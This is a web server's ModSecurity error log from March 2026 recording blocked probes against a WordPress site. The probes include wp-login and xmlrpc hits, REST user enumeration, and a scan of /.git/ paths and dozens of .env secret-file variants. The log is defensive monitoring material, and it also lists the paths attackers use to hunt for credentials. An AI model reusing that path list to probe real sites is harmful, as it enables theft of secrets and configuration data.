[Fri Mar 20 11:54:09.892467 2026] [:error] [pid 51714:tid 51734] [client 43.153.135.208:58516] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abzE4TWI82pxvQ0gkst6KgAAAJI"]
[Fri Mar 20 12:09:11.877853 2026] [:error] [pid 49082:tid 49152] [client 216.73.216.149:30631] [client 216.73.216.149] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||www.vetstars.com.au|F|5"] [data "REQUEST_HEADERS:User-Agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/robots.txt"] [unique_id "abzIZ6pllYJI1LUIdL9lZwAAAUo"]
[Fri Mar 20 12:09:14.184881 2026] [:error] [pid 27302:tid 27317] [client 216.73.216.149:52854] [client 216.73.216.149] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||www.vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/robots.txt"] [unique_id "abzIarDKiUve17xv6yHRWQAAAM0"], referer: http://www.vetstars.com.au/robots.txt
[Fri Mar 20 12:09:16.211911 2026] [:error] [pid 49082:tid 49154] [client 216.73.216.149:63109] [client 216.73.216.149] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "abzIbKpllYJI1LUIdL9lawAAAUw"], referer: https://www.vetstars.com.au/robots.txt
[Fri Mar 20 14:00:37.142339 2026] [:error] [pid 49080:tid 49105] [client 107.175.75.13:49646] [client 107.175.75.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abzihYk5CHi4V0A3tthaDAAAAFM"]
[Fri Mar 20 14:01:08.372595 2026] [:error] [pid 27302:tid 27328] [client 149.88.103.49:62734] [client 149.88.103.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.88.103.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abzipLDKiUve17xv6yH93AAAANg"]
[Fri Mar 20 14:01:28.878316 2026] [:error] [pid 49081:tid 49120] [client 149.88.103.49:40216] [client 149.88.103.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.88.103.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abziuBo1LBAUhfhYPR2xzgAAAQU"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F&reauth=1
[Fri Mar 20 14:01:35.620642 2026] [autoindex:error] [pid 49081:tid 49122] [client 103.4.122.14:55144] AH01276: Cannot serve directory /home/vetstars/public_html/indexing-test/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 20 16:29:53.794177 2026] [:error] [pid 49170:tid 49180] [client 43.166.224.244:55318] [client 43.166.224.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ab0Fgc-c8ctLVDCqUJU-7QAAAAY"]
[Fri Mar 20 16:43:43.704451 2026] [:error] [pid 49170:tid 49178] [client 185.198.240.67:48155] [client 185.198.240.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.67, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ab0Iv8-c8ctLVDCqUJVC8gAAAAQ"]
[Fri Mar 20 18:37:57.631396 2026] [:error] [pid 49081:tid 49131] [client 136.113.2.182:62892] [client 136.113.2.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.2.182, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ab0jhRo1LBAUhfhYPR1kGgAAARA"]
[Fri Mar 20 18:38:00.994571 2026] [:error] [pid 49081:tid 49125] [client 136.113.2.182:62892] [client 136.113.2.182] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "ab0jiBo1LBAUhfhYPR1kJwAAAQo"]
[Fri Mar 20 18:38:03.315972 2026] [:error] [pid 49081:tid 49135] [client 136.113.2.182:62892] [client 136.113.2.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.2.182, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ab0jixo1LBAUhfhYPR1kKgAAARQ"]
[Fri Mar 20 20:13:31.391520 2026] [:error] [pid 49080:tid 49088] [client 216.24.212.17:59381] [client 216.24.212.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.212.17, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ab0564k5CHi4V0A3ttgF6wAAAEI"]
[Fri Mar 20 21:20:13.233594 2026] [:error] [pid 38219:tid 38239] [client 181.118.45.211:53902] [client 181.118.45.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.118.45.211, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ab1JjXLdNs2F_zXG7H8DXQAAAYk"]
[Fri Mar 20 22:48:34.644101 2026] [:error] [pid 49082:tid 49147] [client 43.128.149.102:59098] [client 43.128.149.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ab1eQqpllYJI1LUIdL_2qwAAAUU"]
[Fri Mar 20 23:51:59.893981 2026] [:error] [pid 49082:tid 49159] [client 125.75.66.97:42634] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ab1tH6pllYJI1LUIdL8TIgAAAVE"]
[Sat Mar 21 00:01:17.599397 2026] [:error] [pid 38305:tid 38336] [client 172.69.150.12:10180] [client 172.69.150.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/refs/heads/main"] [unique_id "ab1vTXguiB3cZkKG6iJW5AAAAdg"]
[Sat Mar 21 00:01:17.684641 2026] [:error] [pid 49080:tid 49097] [client 172.69.150.184:14047] [client 172.69.150.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/logs/HEAD"] [unique_id "ab1vTYk5CHi4V0A3ttg5kwAAAEs"]
[Sat Mar 21 00:01:17.704569 2026] [:error] [pid 27302:tid 27321] [client 172.69.150.13:10366] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/index"] [unique_id "ab1vTbDKiUve17xv6yGPKwAAANE"]
[Sat Mar 21 00:01:17.704588 2026] [:error] [pid 38305:tid 38326] [client 172.69.150.13:10364] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "ab1vTXguiB3cZkKG6iJW5QAAAc4"]
[Sat Mar 21 00:01:17.718863 2026] [:error] [pid 27302:tid 27312] [client 172.69.151.138:12329] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/refs/heads/master"] [unique_id "ab1vTbDKiUve17xv6yGPLAAAAMg"]
[Sat Mar 21 00:01:17.722109 2026] [:error] [pid 38305:tid 38328] [client 172.68.195.207:9344] [client 172.68.195.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "ab1vTXguiB3cZkKG6iJW5gAAAdA"]
[Sat Mar 21 00:01:18.626293 2026] [:error] [pid 27302:tid 27309] [client 172.69.150.12:10186] [client 172.69.150.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "ab1vTrDKiUve17xv6yGPLgAAAMU"]
[Sat Mar 21 00:01:18.769111 2026] [:error] [pid 38219:tid 38250] [client 172.69.150.184:14053] [client 172.69.150.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.test"] [unique_id "ab1vTnLdNs2F_zXG7H8V6AAAAZQ"]
[Sat Mar 21 00:01:18.778859 2026] [:error] [pid 27302:tid 27324] [client 172.68.195.207:9351] [client 172.68.195.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev"] [unique_id "ab1vTrDKiUve17xv6yGPLwAAANQ"]
[Sat Mar 21 00:01:18.841250 2026] [:error] [pid 49080:tid 49095] [client 172.69.150.13:10367] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "ab1vTok5CHi4V0A3ttg5lAAAAEk"]
[Sat Mar 21 00:01:18.848105 2026] [:error] [pid 49170:tid 49185] [client 172.69.150.12:10192] [client 172.69.150.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "ab1vTs-c8ctLVDCqUJXGmAAAAAs"]
[Sat Mar 21 00:01:18.853499 2026] [:error] [pid 49170:tid 49188] [client 172.68.195.206:12655] [client 172.68.195.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "ab1vTs-c8ctLVDCqUJXGmQAAAA4"]
[Sat Mar 21 00:01:19.746343 2026] [:error] [pid 49170:tid 49175] [client 172.69.151.137:13806] [client 172.69.151.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.staging"] [unique_id "ab1vT8-c8ctLVDCqUJXGmgAAAAE"]
[Sat Mar 21 00:01:19.787596 2026] [:error] [pid 49080:tid 49091] [client 172.69.151.137:13809] [client 172.69.151.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "ab1vT4k5CHi4V0A3ttg5mQAAAEU"]
[Sat Mar 21 00:01:19.869665 2026] [:error] [pid 49170:tid 49193] [client 172.68.195.206:12661] [client 172.68.195.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "ab1vT8-c8ctLVDCqUJXGmwAAABM"]
[Sat Mar 21 00:01:19.885070 2026] [:error] [pid 38219:tid 38236] [client 172.69.150.184:14055] [client 172.69.150.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.old"] [unique_id "ab1vT3LdNs2F_zXG7H8V6gAAAYY"]
[Sat Mar 21 00:01:19.901966 2026] [:error] [pid 38219:tid 38234] [client 172.68.195.207:9357] [client 172.68.195.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.tmp"] [unique_id "ab1vT3LdNs2F_zXG7H8V6wAAAYQ"]
[Sat Mar 21 00:01:19.999253 2026] [:error] [pid 49170:tid 49198] [client 172.69.151.138:12337] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.save"] [unique_id "ab1vT8-c8ctLVDCqUJXGnAAAABg"]
[Sat Mar 21 00:01:20.774397 2026] [:error] [pid 51714:tid 51729] [client 172.68.195.206:12665] [client 172.68.195.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "ab1vUDWI82pxvQ0gksvwewAAAI0"]
[Sat Mar 21 00:01:20.786076 2026] [:error] [pid 38219:tid 38239] [client 172.69.150.185:10369] [client 172.69.150.185] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production.local"] [unique_id "ab1vUHLdNs2F_zXG7H8V7wAAAYk"]
[Sat Mar 21 00:01:20.986777 2026] [:error] [pid 38219:tid 38232] [client 172.69.150.184:14060] [client 172.69.150.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development.local"] [unique_id "ab1vUHLdNs2F_zXG7H8V8AAAAYI"]
[Sat Mar 21 00:01:21.000696 2026] [:error] [pid 51714:tid 51733] [client 172.69.151.137:13687] [client 172.69.151.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "ab1vUDWI82pxvQ0gksvwfAAAAJE"]
[Sat Mar 21 00:01:21.015846 2026] [:error] [pid 49081:tid 49128] [client 172.69.150.185:10370] [client 172.69.150.185] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/config/.env"] [unique_id "ab1vURo1LBAUhfhYPR2fXAAAAQ0"]
[Sat Mar 21 00:01:21.170580 2026] [:error] [pid 51714:tid 51735] [client 172.68.195.206:12668] [client 172.68.195.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backend/.env"] [unique_id "ab1vUTWI82pxvQ0gksvwfQAAAJM"]
[Sat Mar 21 00:01:21.772578 2026] [:error] [pid 51714:tid 51727] [client 172.69.151.138:14229] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "ab1vUTWI82pxvQ0gksvwfgAAAIs"]
[Sat Mar 21 00:01:21.888058 2026] [:error] [pid 49082:tid 49159] [client 172.69.150.185:10376] [client 172.69.150.185] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.env"] [unique_id "ab1vUapllYJI1LUIdL8WpgAAAVE"]
[Sat Mar 21 00:01:22.013610 2026] [:error] [pid 38219:tid 38245] [client 172.69.150.185:10382] [client 172.69.150.185] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/core/.env"] [unique_id "ab1vUnLdNs2F_zXG7H8V8wAAAY8"]
[Sat Mar 21 00:01:22.136478 2026] [:error] [pid 38219:tid 38233] [client 172.69.150.185:10387] [client 172.69.150.185] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public/.env"] [unique_id "ab1vUnLdNs2F_zXG7H8V9AAAAYM"]
[Sat Mar 21 00:01:22.774706 2026] [:error] [pid 49082:tid 49157] [client 172.69.150.13:10375] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/config/.env.local"] [unique_id "ab1vUqpllYJI1LUIdL8WqAAAAU8"]
[Sat Mar 21 00:01:22.949005 2026] [:error] [pid 49082:tid 49153] [client 172.69.150.185:10390] [client 172.69.150.185] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.php"] [unique_id "ab1vUqpllYJI1LUIdL8WqQAAAUs"]
[Sat Mar 21 00:01:23.125569 2026] [:error] [pid 49082:tid 49149] [client 172.69.150.13:10376] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.json"] [unique_id "ab1vU6pllYJI1LUIdL8WqgAAAUc"]
[Sat Mar 21 00:01:23.267910 2026] [:error] [pid 49082:tid 49143] [client 172.69.150.12:10194] [client 172.69.150.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_backup"] [unique_id "ab1vU6pllYJI1LUIdL8WqwAAAUE"]
[Sat Mar 21 00:01:23.664834 2026] [:error] [pid 49170:tid 49177] [client 172.69.150.185:10398] [client 172.69.150.185] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/private/.env"] [unique_id "ab1vU8-c8ctLVDCqUJXGoQAAAAM"]
[Sat Mar 21 00:01:23.790966 2026] [:error] [pid 27302:tid 27320] [client 172.69.150.13:10381] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env~"] [unique_id "ab1vU7DKiUve17xv6yGPMgAAANA"]
[Sat Mar 21 00:01:23.949840 2026] [:error] [pid 27302:tid 27322] [client 172.69.151.137:13689] [client 172.69.151.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env1"] [unique_id "ab1vU7DKiUve17xv6yGPMwAAANI"]
[Sat Mar 21 00:01:24.266148 2026] [:error] [pid 49170:tid 49179] [client 172.68.195.206:12676] [client 172.68.195.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env2"] [unique_id "ab1vVM-c8ctLVDCqUJXGogAAAAU"]
[Sat Mar 21 00:01:24.414886 2026] [:error] [pid 49080:tid 49110] [client 172.69.150.185:10821] [client 172.69.150.185] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dist"] [unique_id "ab1vVIk5CHi4V0A3ttg5nAAAAFg"]
